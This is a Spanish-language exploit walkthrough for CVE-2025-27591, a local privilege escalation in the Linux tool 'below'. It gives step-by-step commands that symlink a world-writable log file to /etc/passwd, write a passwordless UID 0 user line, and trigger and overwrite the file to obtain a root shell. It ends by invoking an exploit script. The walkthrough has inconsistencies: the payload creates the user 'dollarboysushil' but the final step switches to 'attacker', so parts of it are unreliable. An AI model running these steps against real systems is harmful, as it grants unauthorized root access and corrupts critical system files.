
CVE-2025-27591 es una vulnerabilidad conocida de escalada de privilegios en el servicio Below (versión < v0.9.0).
belowEste es un exploit simple para CVE-2025-27591, una vulnerabilidad de escalada de privilegios local en la herramienta de monitoreo del sistema Linux below. La vulnerabilidad afecta a versiones anteriores a v0.9.0 y se origina por asignaciones incorrectas de permisos en el sistema. El problema fue descubierto en enero de 2025 y divulgado públicamente el 12 de marzo de 2025 (SecurityOnline, OpenWall). Cuando below se ejecuta con sudo, puede registrar errores en un directorio escribible por cualquier usuario (/var/log/below), lo que permite a atacantes crear un enlace simbólico de un archivo de registro hacia objetivos sensibles como /etc/passwd.
Al explotar esto, un usuario sin privilegios que tenga acceso a below mediante sudo puede escalar privilegios a root.
belowbelow record/var/log/below/error_root.log/var/log/below es escribible por cualquier usuariosudo /usr/bin/below record sin contraseña✅ Paso 1: Verificar que el directorio de logs sea escribible por todos Deberías ver:
drwxrwxrwx 2 root root 4096 ... /var/log/below

✅ Paso 2: Eliminar cualquier error_root.log existente
rm -f /var/log/below/error_root.log
✅ Paso 3: Crear un enlace simbólico hacia /etc/passwd
ln -s /etc/passwd /var/log/below/error_root.log
luego verifica con
ls -la /var/log/below/error_root.log
# debería mostrar: error_root.log -> /etc/passwd

✅ Paso 4: Crear un archivo de payload Esto agregará un nuevo usuario root llamado attacker sin contraseña:
echo 'dollarboysushil::0:0:dollarboysusil:/root:/bin/bash' > /tmp/payload
estructura del archivo
username:password:UID:GID:comment(home/full name):home_directory:shell
lo clave aquí es, UID y GUID
estamos estableciendo UID y GUID a 0, haciendo que el usuario sea root y el ID de grupo = grupo root

✅ Paso 5: Desencadenar la escritura de logs como root Este es el núcleo del exploit.
sudo /usr/bin/below record
Se espera que este comando falle o se agote el tiempo — pero intentará escribir logs de error en /var/log/below/error_root.log, que en realidad es /etc/passwd.
💡 En algunos casos, esto solo puede corromper /etc/passwd — por lo que lo sobrescribimos completamente a continuación.
✅ Paso 6: Sobrescribir /etc/passwd mediante el enlace simbólico
cp /tmp/payload /var/log/below/error_root.log

✅ Paso 7: Convertirse en root
su attacker
Se abrirá un shell de root sin necesidad de contraseña.

python3 dbs_exploit.py
